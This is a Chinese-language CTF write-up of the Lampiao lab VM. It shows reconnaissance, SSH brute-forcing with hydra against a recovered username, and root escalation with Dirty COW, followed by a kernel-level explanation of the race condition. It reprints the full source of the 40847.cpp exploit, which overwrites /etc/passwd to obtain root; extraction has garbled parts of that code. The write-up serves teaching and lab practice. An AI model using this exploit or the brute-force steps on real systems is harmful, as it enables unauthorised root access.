脏牛提权原理&&Lampiao靶机wp

admin 2024年6月7日01:30:51评论16 views字数 11659阅读38分51秒阅读模式

两图让你明白内核提权漏洞&&lampiao靶机wp

一个简单的新手靶,但要结合最近学到的一些底层内核知识进行更深的理解。

0x01 基本渗透

Kali: 192.168.135.128 靶机:192.168.135.130

  1. 同网段扫描

发现同网段下目标,nmap一下

惊!原来脏牛提权原理这么简单!&&Lampiao靶机wp

发现开了三个端口,22、80、1898,直接访问80,发现是个静态页面没什么有效信息,看一下1898

惊!原来脏牛提权原理这么简单!&&Lampiao靶机wp

1898是个博客登陆页面,应该可以搞点东西出来。

惊!原来脏牛提权原理这么简单!&&Lampiao靶机wp

小扫一下

惊!原来脏牛提权原理这么简单!&&Lampiao靶机wp

随便点开几个,最多发现他用的是drupal的版本,试了一下sql,没什么回显。

惊!原来脏牛提权原理这么简单!&&Lampiao靶机wp

尝试点几下,first arcticle说node2不工作,

惊!原来脏牛提权原理这么简单!&&Lampiao靶机wp

嘿,那我还非看一下node2,

惊!原来脏牛提权原理这么简单!&&Lampiao靶机wp

访问一下这个audio.m4a,很清楚的听到女声“user tiago”

惊!原来脏牛提权原理这么简单!&&Lampiao靶机wp

再看一下qrc.png,是一个二维码,扫描以后显示“Try harder!muahauahua”

惊!原来脏牛提权原理这么简单!&&Lampiao靶机wp

那现在起码得到了user的id是tiago,下面尝试怎么爆破。

  1. 利用cewl工具从网站信息生成一个密码字典,生成的txt基本都是该网站里出现的一些提示词。
惊!原来脏牛提权原理这么简单!&&Lampiao靶机wp

然后hydra对ssh爆破一下,用户就是tiago,爆破成功。

惊!原来脏牛提权原理这么简单!&&Lampiao靶机wp

tiago/Virgulino,ssh登陆一下。

惊!原来脏牛提权原理这么简单!&&Lampiao靶机wp

登陆成功,看一下权限,(drupal的cms漏洞很多,ssh爆破只是一种方法,msfconsole里面其实可以直接利用,我试过也能拿下)

惊!原来脏牛提权原理这么简单!&&Lampiao靶机wp

准备提权,尝试利用一下脏牛,看一下有哪些exp。

惊!原来脏牛提权原理这么简单!&&Lampiao靶机wp

利用一下40847.cpp这个exp(别的也可以)

开启简易http临时服务器。

惊!原来脏牛提权原理这么简单!&&Lampiao靶机wp

然后ssh终端从这里下载放在桌面的exp。

惊!原来脏牛提权原理这么简单!&&Lampiao靶机wp

然后在终端利用g++

来编译该文件。

Std=c11表示按照c2011标准,-pthread表示多线程(脏牛本来就是多线程条件竞争来提权),-o是输出文件的名字

惊!原来脏牛提权原理这么简单!&&Lampiao靶机wp

提权成功,重新登陆ssh,利用root/dirtyCowFun,最后在当前目录拿到flag。

惊!原来脏牛提权原理这么简单!&&Lampiao靶机wp

0x02 DirtyCow

接下来查看一下40847的exp,

// EDB-Note: Compile:   g++ -Wall -pedantic -O2 -std=c++11 -pthread -o dcow 40847.cpp -lutil
// EDB-Note: Recommended way to run:   ./dcow -s    (Will automatically do "echo 0 > /proc/sys/vm/dirty_writeback_centisecs")
//
// -----------------------------------------------------------------
// Copyright (C) 2016  Gabriele Bonacini
//
// This program is free software; you can redistribute it and/or modify
// it under the terms of the GNU General Public License as published by
// the Free Software Foundation; either version 3 of the License, or
// (at your option) any later version.
// This program is distributed in the hope that it will be useful,
// but WITHOUT ANY WARRANTY; without even the implied warranty of
// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
// GNU General Public License for more details.
// You should have received a copy of the GNU General Public License
// along with this program; if not, write to the Free Software Foundation,
// Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301  USA
// -----------------------------------------------------------------

#include <iostream>
#include <fstream>
#include <string>
#include <thread>
#include <sys/mman.h>
#include <fcntl.h>
#include <unistd.h>
#include <sys/types.h>
#include <pwd.h>
#include <pty.h>
#include <string.h>
#include <termios.h>
#include <sys/wait.h>
#include <signal.h>

#define  BUFFSIZE    1024
#define  PWDFILE     "/etc/passwd"
#define  BAKFILE     "./.ssh_bak"
#define  TMPBAKFILE  "/tmp/.ssh_bak"
#define  PSM         "/proc/self/mem"
#define  ROOTID      "root:"
#define  SSHDID      "sshd:"
#define  MAXITER     300
#define  DEFPWD      "$6$P7xBAooQEZX/ham$9L7U0KJoihNgQakyfOQokDgQWLSTFZGB9LUU7T0W2kH1rtJXTzt9mG4qOoz9Njt.tIklLtLosiaeCBsZm8hND/"
#define  TXTPWD      "dirtyCowFunn"
#define  DISABLEWB   "echo 0 > /proc/sys/vm/dirty_writeback_centisecsn"
#define  EXITCMD     "exitn"
#define  CPCMD       "cp "
#define  RMCMD       "rm "

using namespace std;

class Dcow{
    private:
       bool              run,        rawMode,     opShell,   restPwd;
       void              *map;
       int               fd,         iter,        master,    wstat;
       string            buffer,     etcPwd,      etcPwdBak,
                         root,       user,        pwd,       sshd;
       thread            *writerThr, *madviseThr, *checkerThr;
       ifstream          *extPwd;
       ofstream          *extPwdBak;
       struct passwd     *userId;
       pid_t             child;
       char              buffv[BUFFSIZE];
       fd_set            rfds;
       struct termios    termOld,    termNew;
       ssize_t           ign;

       void exitOnError(string msg);
    public:
       Dcow(bool opSh, bool rstPwd);
       ~Dcow(void);
       int  expl(void);
};

Dcow::Dcow(bool opSh, bool rstPwd) : run(true), rawMode(false), opShell(opSh), restPwd(rstPwd),
                   iter(0), wstat(0), root(ROOTID), pwd(DEFPWD), sshd(SSHDID), writerThr(nullptr),
                   madviseThr(nullptr), checkerThr(nullptr), extPwd(nullptr), extPwdBak(nullptr),
                   child(0){
   userId = getpwuid(getuid());
   user.append(userId->pw_name).append(":");
   extPwd = new ifstream(PWDFILE);
   while (getline(*extPwd, buffer)){
       buffer.append("n");
       etcPwdBak.append(buffer);
       if(buffer.find(root) == 0){
          etcPwd.insert(0, root).insert(root.size(), pwd);
          etcPwd.insert(etcPwd.begin() + root.size() + pwd.size(),
                        buffer.begin() + buffer.find(":", root.size()), buffer.end());
       }else if(buffer.find(user) == 0 ||  buffer.find(sshd) == 0 ){
          etcPwd.insert(0, buffer);
       }else{
          etcPwd.append(buffer);
       }
   }
   extPwdBak = new ofstream(restPwd ? TMPBAKFILE : BAKFILE);
   extPwdBak->write(etcPwdBak.c_str(), etcPwdBak.size());
   extPwdBak->close();
   fd = open(PWDFILE,O_RDONLY);
   map = mmap(nullptr, etcPwdBak.size(), PROT_READ,MAP_PRIVATE, fd, 0);
}

Dcow::~Dcow(void){
   extPwd->close();
   close(fd);
   delete extPwd; delete extPwdBak; delete madviseThr; delete writerThr; delete checkerThr;
   if(rawMode)    tcsetattr(STDIN_FILENO, TCSANOW, &termOld);
   if(child != 0) wait(&wstat);
}

void Dcow::exitOnError(string msg){
      cerr << msg << endl;
      // if(child != 0) kill(child, SIGKILL);
      throw new exception();
}

int  Dcow::expl(void){
   madviseThr = new thread([&](){ while(run){ madvise(map, etcPwdBak.size(), MADV_DONTNEED);} });
   writerThr  = new thread([&](){ int fpsm = open(PSM,O_RDWR);
                                  while(run){ lseek(fpsm, reinterpret_cast<off_t>(map), SEEK_SET);
                                              ign = write(fpsm, etcPwd.c_str(), etcPwdBak.size()); }
                                });
   checkerThr = new thread([&](){ while(iter <= MAXITER){
                                         extPwd->clear(); extPwd->seekg(0, ios::beg);
                                         buffer.assign(istreambuf_iterator<char>(*extPwd),
                                                       istreambuf_iterator<char>());
                                         if(buffer.find(pwd) != string::npos &&
                                            buffer.size() >= etcPwdBak.size()){
                                                run = falsebreak;
                                         }
                                         iter ++; usleep(300000);
                                   }
                                   run = false;
                                 });

  cerr << "Running ..." << endl;
  madviseThr->join();
  writerThr->join();
  checkerThr->join();

  if(iter <= MAXITER){
       child = forkpty(&master, nullptr, nullptr, nullptr);

       if(child == -1) exitOnError("Error forking pty.");

       if(child == 0){
          execlp("su""su""-", nullptr);
          exitOnError("Error on exec.");
       }

       if(opShell) cerr << "Password overridden to: " <<  TXTPWD << endl;
       memset(buffv, 0, BUFFSIZE);
       ssize_t bytes_read = read(master, buffv, BUFFSIZE - 1);
       if(bytes_read <= 0) exitOnError("Error reading  su prompt.");
       cerr << "Received su prompt (" << buffv << ")" << endl;

       if(write(master, TXTPWD, strlen(TXTPWD)) <= 0)
            exitOnError("Error writing pwd on tty.");

       if(write(master, DISABLEWB, strlen(DISABLEWB)) <= 0)
            exitOnError("Error writing cmd on tty.");

       if(!opShell){
            if(write(master, EXITCMD, strlen(EXITCMD)) <= 0)
                 exitOnError("Error writing exit cmd on tty.");
       }else{
           if(restPwd){
               string restoreCmd = string(CPCMD).append(TMPBAKFILE).append(" ").append(PWDFILE).append("n");
               if(write(master, restoreCmd.c_str(), restoreCmd.size()) <= 0)
                    exitOnError("Error writing restore cmd on tty.");
               restoreCmd        = string(RMCMD).append(TMPBAKFILE).append("n");
               if(write(master, restoreCmd.c_str(), restoreCmd.size()) <= 0)
                    exitOnError("Error writing restore cmd (rm) on tty.");
           }

           if(tcgetattr(STDIN_FILENO, &termOld) == -1 )
                exitOnError("Error getting terminal attributes.");

           termNew               = termOld;
           termNew.c_lflag       &= static_cast<unsigned long>(~(ICANON | ECHO));

           if(tcsetattr(STDIN_FILENO, TCSANOW, &termNew) == -1)
                exitOnError("Error setting terminal in non-canonical mode.");
           rawMode = true;

           while(true){
                FD_ZERO(&rfds);
                FD_SET(master, &rfds);
                FD_SET(STDIN_FILENO, &rfds);

                if(select(master + 1, &rfds, nullptr, nullptr, nullptr) < 0 )
                    exitOnError("Error on select tty.");

                if(FD_ISSET(master, &rfds)) {
                    memset(buffv, 0, BUFFSIZE);
                    bytes_read = read(master, buffv, BUFFSIZE - 1);
                    if(bytes_read <= 0) break;
                    if(write(STDOUT_FILENO, buffv, bytes_read) != bytes_read)
                          exitOnError("Error writing on stdout.");
                }

                if(FD_ISSET(STDIN_FILENO, &rfds)) {
                    memset(buffv, 0, BUFFSIZE);
                    bytes_read = read(STDIN_FILENO, buffv, BUFFSIZE - 1);
                    if(bytes_read <= 0) exitOnError("Error reading from stdin.");
                    if(write(master, buffv, bytes_read) != bytes_read) break;
                }
            }
      }
  }

  return [](int ret, bool shell){
       string msg = shell ? "Exit.n" : string("Root password is:   ") + TXTPWD + "Enjoy! :-)n";
       if(ret <= MAXITER){cerr << msg; return 0;}
       else{cerr << "Exploit failed.n"return 1;}
  }(iter, opShell);
}

void printInfo(char* cmd){
      cerr << cmd << " [-s] [-n] | [-h]n" << endl;
      cerr << " -s  open directly a shell, if the exploit is successful;" << endl;
      cerr << " -n  combined with -s, doesn't restore the passwd file." << endl;
      cerr << " -h  print this synopsis;" << endl;
      cerr << "n If no param is specified, the program modifies the passwd file and exits." << endl;
      cerr << " A copy of the passwd file will be create in the current directory as .ssh_bak" << endl;
      cerr << " (unprivileged user), if no parameter or -n is specified.n" << endl;
      exit(1);
}

int main(int argc, char** argv){
   const char  flags[]   = "shn";
   int         c;
   bool        opShell   = false,
               restPwd   = true;

   opterr = 0;
   while ((c = getopt(argc, argv, flags)) != -1){
      switch (c){
         case 's':
            opShell = true;
         break;
         case 'n':
            restPwd = false;
         break;
         case 'h':
            printInfo(argv[0]);
         break;
         default:
            cerr << "Invalid parameter." << endl << endl;
            printInfo(argv[0]);
      }
   }

   if(!restPwd && !opShell){
            cerr << "Invalid parameter: -n requires -s" << endl << endl;
            printInfo(argv[0]);
   }

   Dcow dcow(opShell, restPwd);
   return dcow.expl();
}

代码有点长,不用全部看完,最核心的地方是expl方法,该方法开了madviceThr、writerThr、checkThr三个线程,时间和竞争关系如下图所示:

惊!原来脏牛提权原理这么简单!&&Lampiao靶机wpos. 图画完才反应过来左下角一开始是/etc/passwd无权限修改,抱歉。

madvice方法丢弃内存资源,writerThr线程调用map指针,触发内核page_fault,进行缺页处理,此时就越权写入了密码。听起来很简单,其实这种思路必须要建立在对linux内核线程机制极其了解的基础上。

再往深来看,是内核中__get_user_pages方法调用的逻辑出了问题,给了线程竞争的机会。该方法主要是用以将用户层线程操作的不在物理内存中的虚拟内存页换入,主要包含以下两个方法:

  • follow_page_mask:判断寻找的内存页是否加载到物理内存,是返回该页结构,否返回NULL。
  • faultin_page:VMA没有换入,缺页中断处理。

脏牛writerThr调用内核的__get_user_pages逻辑如下图:

脏牛提权原理&&Lampiao靶机wp

在第二次调用__get_user_pages方法时,由于第一次调用分配的匿名页表已经映射,因此调用了do_wp_page方法,该方法发现当前线程正在使用当前匿名页,所以不用写时复制,直接可以使用。而此时handle_mm_fault中的wp_page_reuse返回了VM_FAULT_WRITE,导致默认可写。然后另一个线程此时又弃用了该匿名页,导致后续进行的缺页处理都变成了不要求写权限的正常缺页处理请求。因此让低权限的用户进程也能写入原本root才能改的文件。

属实是乞丐住上汤臣一品(难道他真的是天才?


我翻看了最早的脏牛版本,最初是只有两个线程(其实本来就是两个线程竞争完成的事),一个丢一个写。40847.cpp优化了一下,加了第三个检查的线程。


看雪的师傅实现了单线程版的脏牛,利用VirtualBoxDBG调试器来打断点,然后手动丢弃第一次申请映射的匿名页。https://zhuanlan.zhihu.com/p/41752556

点点关注不迷路~


原文始发于微信公众号(TimeAxis Sec):惊!原来脏牛提权原理这么简单!&&Lampiao靶机wp

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年6月7日01:30:51
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   脏牛提权原理&&Lampiao靶机wphttps://cn-sec.com/archives/2820591.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息